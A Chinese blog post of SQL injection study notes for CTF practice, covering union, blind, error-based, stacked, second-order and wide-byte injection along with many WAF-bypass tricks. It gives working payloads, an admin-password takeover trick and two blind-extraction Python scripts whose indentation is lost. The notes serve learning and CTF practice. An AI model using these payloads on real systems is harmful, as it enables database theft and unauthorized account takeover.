一直以来做着sql注入的题,但除了简单的注入比较熟悉以外其他类型的方法以及bypass技巧都一直没有长进。盲注也是自己嫖脚本的次数比亲手写要多。可能是因为自己没有系统学过sql基础知识,导致只会生搬硬套。又也许是因为没有做过系统的总结,或者是因为遇到的题目太少,或是遇到不会做就落下了......总之,现在要从头开始学一遍sql注入,重新接触这常年位于漏洞之首的巨头吧。
(至少sqli-labs要重新做下了)
先把参考的dalao们的笔记贴一下,感谢他们辛苦做出的整理:
郁师傅推荐的,smi1e的blog:https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/
sky师傅的blog:https://skysec.top/2017/07/19/sql%E6%B3%A8%E5%85%A5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%8E%9F%E7%90%86/
CHYbeta的blog:https://github.com/CHYbeta/Web-Security-Learning#sql%E6%B3%A8%E5%85%A5
mysql注入天书(从学习交流群里嫖来的......)
等等
以下皆是基于常见的mysql,除此以外的mssql,postgresql,mongodb等等在CHYbeta的github上可以找到
基础使用
sql注入的原理在我个人看来,主要是恶意语句的插入。当过滤不彻底,或者根本没有过滤时,我们的语句通过拼接,或者是经过处理后,在服务器解析并执行,达到攻击的效果。
那么先来看看在sql中常见的函数或符号吧吧:
user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
concat()/concat_ws():多个字符串连接成几个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据//常见于注入
//常见于布尔盲注
length():返回字符串的长度
substr():截取字符串
mid():截取字符串
ascii():返回字符的ascii码
//常见于时间盲注
sleep(): 函数延迟代码执行若干秒
//用于注释的符号,或者效果等同于注释的
#
--+
or '1'='1//闭合单引号
or ''1'' =''1 闭合双引号,以此类推
在进行注入前,首先是确认注入点的存在。其中有无回显,回显为何都是重要的用于判断我们注入类型的依据,之后才能根据类型进行注入方式的选择。
常见的几种注入方法:
一.联合注入
联合注入的特点在于使用了union,需要注意的是union后所接的select 语句列数要相同。
使用联合注入时必然需要注意这是有回显的,且我们需要先判断字段数以及具体回显的字段是哪一个。
先试用order by
来判断。这里假设是三个字段以及回显的是第二个字段。
order by 3#
order by
可能会面临过滤‘or’时恰好被限制的问题,此时可以使用group by
替代。
爆库
union select 1,databse(),3#
爆表
union select 1,(select group_concat(table_name)),3 from information_schema.tables where table_schema=database()#
database()
也可使用schema()
代替
爆列
union select 1,(select group_concat(column_name)),3 from information_schema.columns where table_name='表名'#
这里的表名当然也可以不用直接名称,转而使用16进制代替。
二.盲注
1.布尔盲注
布尔盲注,顾名思义返回值能确认的只有布尔值true or false。也就是我们只知道正确与否而不知具体数值。
但正因我们可以确定注入的正确与否,我们就可以用逻辑判断来进行注入
盲注的几种手法:
1)left()
函数,left(a,b)从左侧截取 a 的前 b 位
使用方法:
left(database(),1)>’s’
2)ascii()
+substr()
函数
ascii()
不必多说,
substr()
:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
使用方法:
ascii(substr((select database()),1,1))=98
最适合写脚本。其中只有第一个1与等号后的数字需要设为变量。
3)regexp()
正则判断
regexp()就是正则匹配,看起来也十分简洁。
使用方法:
select user() regexp('^ro')
返回布尔值1 或0.
显然在一无所知的情况下,使用第二种布尔盲注方法一个个字符的爆出结果是合乎情理的。但人手直接测还是麻烦的,因此需要写脚本来爆破。
大致脚本模板如下:
import requests
url=''
flag=''
for i in range(1,40):
a=0
for j in range(32,128):
payload="1' or ascii(substr((select flag from flag),{0},1))={1}#"
data=payload.format(i,j)
res=requests.post(url,data=data)#data依据可注入点而定
if('abc' in res.text)#此处依照正确的回显内容而定
flag+=chr(j)
print(flag)
a=1
if a==0: break
一个简易的布尔盲注脚本大概如上。
2.时间盲注
时间盲注相比布尔盲注更加困难,因为其返回值永远只有一个,且没有注入回显信息。
关键函数除了上面布尔盲注就已提到的ascii()
+substr()
就是sleep()
跟if()
函数了
用法:
sleep(a)
直接把程序挂起a秒
if(a,b,c)
如果第一个参数正确,执行第二个参数,否则执行第三个
直接贴脚本模板吧:
for i in range (1,30):
print(i)
a=0
payload="1' or select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)#"
for j in range(0,128):
data={'username':payload.format(i,j),'password':'123'}
try:
result=requests.post(url,data=data,timeout=3)
except requests.exceptions.ReadTimeout:
flag+=chr(j)
print(flag)
a=1
break
if a==0: break
时间盲注脚本大抵如上。
三.报错注入
报错注入的原理在于把所需要注出的信息通过报错信息返回来。方法也有多种
1.floor()
函数
其使用为floor(rand(0)*2)
,而具体上使用还要联系group by
与concat()
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
这里concat(),floor(),group by
缺一不可。且数据表需要三条及以上数据才能报错。故确实太局限了。
2.updatexml()
函数
直接贴用法:
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
如果亲自用过报错注入,就知道中间的0x7e并没有什么用。实际上就是~
符号的16进制,方便分割而已。中间所需的结果被转成字符串后因为不符合XPATH格式从而报错。
3.extractvalue()
函数
与上面大抵相同。只不过只有两个参数
extractvalue(1,concat(0x7e,(select @@version),0x7e))
但是存在一个小细节,那就是这个方法只能爆出32位。之前在ichunqiu的XSS平台这道题中使用了报错注入,有个小问题就是当时的内容过长一次性爆不完。因此引入一个mid()
函数。每次爆一部分即可。
用法大抵如下:
' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),29,60))) --
进阶注入
当然,以上只是所有sql注入中最普通的方法。但我个人认为其他类型的注入都只是在这之上增加waf等等限制,其解决方法还是得以上面的联合注入,盲注,报错注为主。为了应对各种限制,也诞生了许多的bypass技巧。我当然不可能全部收集完全,但是还是得把最近新学到的,可能算是比较进阶的类型及方法整理下:
工欲善其事必先利其器,首先先把常见的waf以及相应的bypass技巧梳理下:
1.注释符 绕过
//, -- , /**/, #, --+, -- -, ;,%00,--a
其中为了绕空格常用/**/
2.大小写绕过
Union/**/SelEct
3.内联注释绕过
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
4.双写绕过
1 uniunionon selselectect flag from flag
主要是应对低级waf
5.编码(ascii/16进制/url编码)
这个方法就比较经典且高级了。也常常见到过,比如%23
与#
包括常见的16进制。
以及用chr()+chr()+chr()
形式的绕过。
6.面对空格
空格被过滤是常有的,而除了常见的/**/
,+
,一些技巧外,我们可行的用于绕空格的方法主要是:
%20 %09 %0a %0b %0c %0d %a0
还可以利用括号来省空格。因为可计算结果的语句都可用括号括起来。比如:select user() from
可以化作select(user())from
7.同效果函数
sleep()<==>benchmark()
concat_ws()<==>group_concat()//还是有区别的,但是效果一致
mid()、substr() <==> substring()
以及面对常常过滤的 and
or
直接用&&
||
很多师傅脚本都直接用这些替代了使用and ,or
的习惯。
接下来就是一些最近接触的或者是比较进阶的注入类型了,有的应该会是一段时间的热门吧。
堆叠注入
了解到堆叠注入主要还是得靠swpuctf的web4。这道题硬要说的话还是给了我很大收获,那就是利用16进制加mysql预处理来解题。目前我觉得常规的waf这种做法是都可以应对的。
比如为了验证这个道理,我在buuoj上找到了另一道堆叠注入题强网杯2019——随便注。我看网上大部分人的paylaod都是骚姿势:
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)
好麻烦啊......但是用从swpu那学来的方法:
set @a=0x{0};PREPARE ctftest from @a;execute ctftest;
这个模板简单多了,题目5分钟以内就能搞定。
flag
回头整理下堆叠注入的使用条件。首先得声明,堆叠注入的使用条件十分有限,因为大部分sql语句并不支持一次执行多条命令。从源码角度讲就是使用了mysqli_ query()
函数。而只有使用mysqli_multi_query()
函数时,才会出现堆叠注入的可能。具体FUZZ时如果注意到分号的使用回显是正确的,就可能存在堆叠注入。
二次注入
所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。因此它是存储型的利用。在第一次进行数据库插入数据的时候,如果仅仅只是使用了addslashes
或者是借助 get_magic_quotes_gpc
对其中的特殊字符进行了转义,那么在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。可以让我们进行再利用。
比如在注册界面,如果我们注册一个名为 admin'#
的用户,并登录进去。这时修改密码时,我们无需admin的密码即可修改admin的密码。因为之前的注册已经往表里插入了新数据,也就是admin'#,而修改密码时,语句为
UPDATEusers SET PASSWORD=’22′ where username=’test’#‘ and password=’$curr_pass’
也就绕过了密码的要求。
后续找到合适的题目会再贴里面。
补:
CISCN2019 CyberPunk(二次注入触发报错)
无列名注入
在上一篇文章总结过了。这里就贴下方法吧。
select `4` from (select 1,2,3,4,5,6 union select * from users)a;
select b from (select 1,2,3 as b,4,5 union select * from users)a;
join注入
1’ union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema=database()) b%23
join的使用主要是应对着过滤逗号的情况,之前bugku上做过就叫Insert into注入。
假如用到盲注的话
select case when (条件) then 代码1 else 代码 2 end;
其效果相当于sql中的if,比如在进行时间盲注时:
if(substring((select user()) from {0} for 1)={1},sleep(5),1)
相当于
select case when substring((select user()) from {0} for 1)={1} then sleep(5) else 1 end
无information_schema注入
同样是在swpu 的web1中学到了这个应对bypass information_schema的可能方法。不过有版本要求。使用
sys.schema_auto_increment_columns
代替
实际上比较常见的是下面的这种,但都需要mysql5.7以上版本:
MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。
如果waf掉了information我们可以利用这两个表注入数据库名和表名。
还有冷门的,
$schema_flattened_keys
sys.schema_table_statistics;
而且一旦出现不能使用information_schema.tables
的情况,通常也得不到information_schema.columns
的列名情况了。所以说之后直接使用无列名注入即可,不需要去刻意获取列名。
宽字节注入
宽字节注入算是我最早接触的sql注入了。cg-ctf上GBK-Injection就是这个类型
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
之前我也写过wp
https://www.jianshu.com/p/b9ccf447c152
这是基于程序使用GBK宽字符集的前提下的。通常使用sqlmap都可以跑出来吧。
大抵这么多。其实肯定还有遗漏的,但先写这么多,日后再补充吧。
网友评论